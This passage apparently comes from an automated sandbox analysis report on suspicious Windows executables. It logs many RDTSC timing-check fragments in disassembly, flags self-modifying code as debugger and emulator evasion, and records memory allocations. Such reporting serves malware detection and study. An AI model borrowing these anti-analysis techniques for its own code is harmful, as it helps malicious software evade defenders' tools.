Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4960A8 second address: 4960C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F882CB47542h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49DCF4 second address: 49DD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F882D0EBEFBh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49DD11 second address: 49DD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F882CB47536h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49DD1B second address: 49DD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49DD21 second address: 49DD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49DD27 second address: 49DD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E122 second address: 49E137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47541h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E137 second address: 49E18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F882D0EBEFDh 0x0000000b jmp 00007F882D0EBF03h 0x00000010 jmp 00007F882D0EBF09h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jmp 00007F882D0EBF00h 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E18F second address: 49E193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E193 second address: 49E199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E44A second address: 49E44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E44E second address: 49E46E instructions: 0x00000000 rdtsc 0x00000002 je 00007F882D0EBEF6h 0x00000008 jmp 00007F882D0EBF06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E46E second address: 49E474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E474 second address: 49E478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E478 second address: 49E494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F882CB47542h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E494 second address: 49E498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E498 second address: 49E49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E5D8 second address: 49E5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F882D0EBF01h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E5EF second address: 49E5FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E5FA second address: 49E628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F882D0EBEF6h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F882D0EBEFEh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F882D0EBEFFh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E628 second address: 49E644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F882CB47546h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E644 second address: 49E64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E64A second address: 49E654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F882CB47536h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 49E654 second address: 49E658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0C40 second address: 4A0C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0C46 second address: 4A0C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0C4A second address: 4A0C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F882CB47536h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0C5E second address: 4A0C64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0C64 second address: 4A0C6E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F882CB4753Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0C6E second address: 4A0C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0C7D second address: 4A0C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0C81 second address: 4A0C85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0D26 second address: 4A0D38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0E7D second address: 4A0EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 je 00007F882D0EBF00h 0x0000000c jmp 00007F882D0EBEFAh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jns 00007F882D0EBEFCh 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007F882D0EBEF6h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0EAE second address: 4A0EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0EB8 second address: 4A0EDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0EDA second address: 4A0EF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47544h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0EF2 second address: 4A0EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0EF8 second address: 4A0F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 add dword ptr [ebp+122D3356h], ecx 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F882CB47538h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov dword ptr [ebp+124556D6h], edx 0x00000031 push 00000000h 0x00000033 mov edx, dword ptr [ebp+122D2E5Dh] 0x00000039 push 00000003h 0x0000003b sbb cx, 3F32h 0x00000040 call 00007F882CB47539h 0x00000045 jmp 00007F882CB4753Eh 0x0000004a push eax 0x0000004b push edi 0x0000004c push ebx 0x0000004d jnp 00007F882CB47536h 0x00000053 pop ebx 0x00000054 pop edi 0x00000055 mov eax, dword ptr [esp+04h] 0x00000059 jmp 00007F882CB47542h 0x0000005e mov eax, dword ptr [eax] 0x00000060 push eax 0x00000061 push edx 0x00000062 push edi 0x00000063 jmp 00007F882CB47548h 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0F99 second address: 4A0FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F882D0EBEF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0FA3 second address: 4A0FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0FA7 second address: 4A0FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F882D0EBEFEh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0FC7 second address: 4A0FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b and si, 3141h 0x00000010 lea ebx, dword ptr [ebp+12456B38h] 0x00000016 mov ecx, dword ptr [ebp+122D2DC1h] 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A0FEA second address: 4A0FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A105F second address: 4A1083 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F882CB47536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F882CB4753Ch 0x00000010 jno 00007F882CB47536h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jnp 00007F882CB47536h 0x00000021 push edx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A1083 second address: 4A10B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jnc 00007F882D0EBEFCh 0x00000010 push 00000000h 0x00000012 push D81555CEh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A10B9 second address: 4A10BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A10BD second address: 4A10C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4A10C3 second address: 4A114A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F882CB47538h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 27EAAAB2h 0x00000011 jnc 00007F882CB4753Ch 0x00000017 mov edx, dword ptr [ebp+122D1C10h] 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F882CB47538h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 sub dword ptr [ebp+122D1C10h], edx 0x0000003f push 00000000h 0x00000041 jmp 00007F882CB47540h 0x00000046 call 00007F882CB47542h 0x0000004b pop esi 0x0000004c push 00000003h 0x0000004e mov dword ptr [ebp+122D1DDAh], ecx 0x00000054 push 9FBFF55Eh 0x00000059 push eax 0x0000005a push edx 0x0000005b jo 00007F882CB47538h 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4B3E5D second address: 4B3E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C2791 second address: 4C279C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F882CB47536h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C0965 second address: 4C096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C096B second address: 4C097E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F882CB4753Eh 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C097E second address: 4C0988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F882D0EBEF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C0988 second address: 4C098C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C098C second address: 4C09A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882D0EBEFEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1058 second address: 4C1060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C132E second address: 4C1332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1332 second address: 4C1347 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47541h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1347 second address: 4C1367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F882D0EBF08h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C160E second address: 4C1632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F882CB4754Eh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1632 second address: 4C1638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1638 second address: 4C163C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C163C second address: 4C1640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1640 second address: 4C1646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1E6F second address: 4C1E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1E77 second address: 4C1E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F882CB47540h 0x0000000b jnp 00007F882CB47536h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1E9D second address: 4C1EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007F882D0EBF08h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C1EC1 second address: 4C1EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C22FF second address: 4C2304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C2304 second address: 4C2316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F882CB47536h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C25D3 second address: 4C25D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	RDTSC instruction interceptor: First address: 4C25D9 second address: 4C25FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882CB47544h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e je 00007F882CB47536h 0x00000014 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Special instruction interceptor: First address: 4B7F4A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Special instruction interceptor: First address: 4B76DD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Special instruction interceptor: First address: 6585D6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Special instruction interceptor: First address: 4B559E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Special instruction interceptor: First address: 6846A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Special instruction interceptor: First address: 102FAB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Special instruction interceptor: First address: 102FA97 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Special instruction interceptor: First address: 11D4750 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Special instruction interceptor: First address: 11E8001 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Special instruction interceptor: First address: 323CC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Special instruction interceptor: First address: 323368 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Memory allocated: 4B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Memory allocated: 4D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Memory allocated: 4B20000 memory reserve \| memory write watch	Jump to behavior

